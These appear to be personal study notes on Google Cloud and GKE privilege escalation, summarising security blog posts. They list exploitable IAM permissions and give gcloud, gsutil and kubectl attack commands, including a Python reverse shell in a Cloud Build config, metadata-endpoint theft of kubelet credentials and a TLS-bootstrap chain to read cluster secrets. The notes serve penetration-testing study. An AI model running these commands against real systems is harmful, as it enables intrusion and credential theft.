CRTP Notes
Notes I wrote while studying for the CRTP course and fully compromising the lab.
LinkedIn: https://www.linkedin.com/in/segev-eliezer/
YouTube: https://YouTube.com/@0xd4y
GitHub: https://github.com/0xd4y
Notes for the following blog post by RhinoSecurityLabs: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
Privesc using the deploymentmanager.deployments.create
permission
<PROJECT_NUMBER>@cloudservices.gserviceaccount.com
service account without needing iam.serviceAccounts.actAs
permissionEditor
role within projectcompute.instances.create
not needed because the cloudservices
service account has that permission, so you can create a Compute VMYAML
configuration file template to create all kinds of resourcesgcloud deployment-manager types list
to see supported resourceshttps://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-1
iam.roles.update
gcloud iam roles <ROLE_NAME> --project <PROJECT_NAME> --add-permissions <PERMISSION>
iam.serviceAccounts.getAccessToken
iam.serviceAccountKeys.create
gcloud iam service-accounts keys create --iam-account <SERVICE_ACCOUNT_NAME>@<PROJECT>.iam.gserviceaccount..com
iam.serviceAccounts.implicitDelegation
If you have this permission on another service account with iam.serviceAccounts.getAccessToken
, you can get the access token for another service account through implicit delegation:
iam.serviceAccounts.signBlob
iam.serviceAccounts.signJwt
iam.serviceAccounts.actAs
iam:PassRole
Cloud Function Creation
The following permissions are necessary:
c
loudfunctions.functions.call
or cloudfunctions.functions.setIamPolicy
cloudfunctions.functions.create
: create new functionscloudfunctions.functions.sourceCodeSet
: update function source codeiam.serviceAccounts.actAs
Cloud Function Update
The following permissions are necessary:
cloudfunctions.functions.sourceCodeSet
cloudfunctions.functions.update
iam.serviceAccounts.actAs
Compute Instance Create
Necessary permissions:
compute.disks.create
compute.instances.create
compute.instances.setMetadata
compute.instances.setServiceAccount
compute.subnetworks.use
compute.subnetworks.useExternalIp
iam.serviceAccounts.actAs
Create Cloud Run Service
Necessary permissions:
run.services.create
run.services.setIamPolicy
or run.routes.invoke
iam.serviceaccounts.actAs
Create Cloud Scheduler Job
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email high_priv-compute@developer.gserviceaccount.com --headers Content-Type=application/json
Necessary permissions:
cloudscheduler.jobs.create
cloudscheduler.locations.list
iam.serviceAccounts.actAs
https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-2
orgpolicy.policy.set
storage.hmacKeys.create
gsutil hmac create <SERVICE_ACCOUNT>
serviceusage.apiKeys.create
https://cloud.google.com/docs/authentication/api-keys
serviceusage.apiKeys.list
gcloud services api-keys list
Can likely privesc if you have one of the following permissions
Permission | Description |
resourcemanager.organizations.setIamPolicy | Attach IAM role to user in organization |
resourcemanager.folders.setIamPolicy | Attach IAM role to user in folder |
resourcemanager.projects.setIamPolicy | Attach IAM role to user in project |
iam.serviceAccounts.setIamPolicy | Attach IAM role to user at service account level |
cloudfunctions.functions.setIamPolicy | Change policy of Cloud Function so that it can be invoked |
*.setIamPolicy | Can update policy for resource / asset within environment. |
https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/
gsutil
HEAD
requests made to https://www.googleapis.com/storage/v1/b/<BUCKET_NAME>
endpoint404
or 400
storage.objects.list
is given to allUsers
allUsers
means anyone on the internet (both authenticated and unauthenticated)TestIAMPermissions
APIhttps://www.googleapis.com/storage/v1/b/BUCKET_NAME/iam/testPermissions?permissions=<PERMISSION>
https://www.googleapis.com/storage/v1/b/BUCKET_NAME/iam/testPermissions?permissions=storage.buckets.delete&permissions=storage.buckets.get&permissions=storage.buckets.getIamPolicy&permissions=storage.buckets.setIamPolicy&permissions=storage.buckets.update&permissions=storage.objects.create&permissions=storage.objects.delete&permissions=storage.objects.get&permissions=storage.objects.list&permissions=storage.objects.update
resourcemanager.projects.list
allAuthenticatedUsers
is any user on internet that has authenticated to Google Cloud (has potential for misconfiguration!)Note: Consider using allUsers, as described on this page, rather than allAuthenticatedUsers. In many cases, granting access to all users is no more of a security risk than granting access only to authenticated users.
storage.admin
if you can read the bucket policy (storage.buckets.getIamPolicy
) and set the IAM policy (storage.buckets.setIamPolicy
)storage.buckets.getIamPolicy
is not necessary, but otherwise you risk overwriting the original policy (could lead to errors in environment)Privesc command: gsutil ch group:<YOUR_CURRENT_GROUP>:admin gs://<BUCKET>
https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
cloudbuild.builds.create
).yaml
file:steps:
- name: 'python'
entrypoint: 'python'
args:
- -c
- import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP-ADDRESS",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Run the following command:gcloud builds submit --config ./build.yaml .
Then, read /root/tokencache/gsutil_token_cache
to get Cloud Build service account token
https://www.googleapis.com/oauth2/v3/tokeninfo?access_token=
cloudbuild.build.create
unless you’re okay with the permissions the Cloud Build service account grantshttps://www.4armed.com/blog/hacking-kubelet-on-gke/
https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/
https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/
Retrieve apiserver.crt
, kubelet.crt
, and kubelet.key
curl -s -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env' | grep ^KUBELET_CERT | awk '{print $2}' | base64 -d > kubelet.crt
curl -s -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env' | grep ^KUBELET_KEY | awk '{print $2}' | base64 -d > kubelet.key
curl -s -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env' | grep ^CA_CERT | awk '{print $2}' | base64 -d > apiserver.crt
$KUBERNETES_PORT_443_TCP_ADDR
env variable to find Kubernetes master IP addressTLS bootstrap privesc steps:
CertificateSigningRequest
objectList certificate signing request (CSRs) for cluster nodes:
kubectl --client-certificate kubelet.crt --client-key kubelet.key --certificate-authority apiserver.crt --server https://${KUBERNETES_PORT_443_TCP_ADDR} get certificatesigningrequests
Obtain client certificate that kubelet uses for its normal functions:
kubectl --client-certificate kubelet.crt --client-key kubelet.key --certificate-authority apiserver.crt --server https://${KUBERNETES_PORT_443_TCP_ADDR} get certificatesigningrequests <NODE_NAME> -o yaml
status.certificate
field (base64 encoded)Base64 decode client certificate:
kubectl --client-certificate kubelet.crt --client-key kubelet.key --certificate-authority apiserver.crt --server https://${KUBERNETES_PORT_443_TCP_ADDR} get certificatesigningrequests <NODE_NAME> -o jsonpath='{.status.certificate}' | base64 -d > node.crt
LoadOrGenerateKeyFile
function)Become a Node
Create private key:
openssl req -nodes -newkey rsa:2048 -keyout k8shack.key -out k8shack.csr -subj "/O=system:nodes/CN=system:node:<NODE_NAME>"
Submit key to API:
cat <<EOF | kubectl --client-certificate kubelet.crt --client-key kubelet.key --certificate-authority apiserver.crt --server https://${KUBERNETES_PORT_443_TCP_ADDR} create -f -
apiVersion: certificates.k8s.io/v1beta1
kind: CertificateSigningRequest
metadata:
name: node-csr-$(date +%s)
spec:
groups:
- system:nodes
request: $(cat k8shack.csr | base64 | tr -d '\n')
usages:
- digital signature
- key encipherment
- client auth
EOF
Get pod:
kubectl --client-certificate kubelet.crt --client-key kubelet.key --certificate-authority apiserver.crt --server https://${KUBERNETES_PORT_443_TCP_ADDR} get csr <NODE_NAME>
Get certificate:
kubectl --client-certificate kubelet.crt --client-key kubelet.key --certificate-authority apiserver.crt --server https://${KUBERNETES_PORT_443_TCP_ADDR} get csr <NODE_NAME> -o jsonpath='{.status.certificate}' | base64 -d > node2.crt
Access API server:
kubectl --client-certificate node2.crt --client-key k8shack.key --certificate-authority apiserver.crt --server https://${KUBERNETES_PORT_443_TCP_ADDR} get pods -o wide
system:nodes
groupsystem:nodes
group allows pod scheduling and viewing secretskubectl --client-certificate node2.crt --client-key k8shack.key --certificate-authority apiserver.crt --server https://${KUBERNETES_PORT_443_TCP_ADDR} get pod <POD_NAME> -o yaml
Get secret:
kubectl --client-certificate node2.crt --client-key k8shack.key --certificate-authority apiserver.crt --server https://${KUBERNETES_PORT_443_TCP_ADDR} get secret <SECRET_NAME> -o yaml
kubectl
with the --token
flag, for example:kubectl --certificate-authority ca.crt --token <TOKEN> --server https://<MASTER_IP> get all
exec
Service account token in one of the following locations:
/var/run/secrets/kubernetes.io/serviceaccount/token
or /run/secrets/kubernetes.io/serviceaccount/token
Metadata Concealment
kube-env
value(see the official Google Cloud document for Kubernetes metadata protection)
--workload-metadata-from-node=SECURE
to conceal metadatahttp://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env
Network Policy
Other Mitigations
kubectl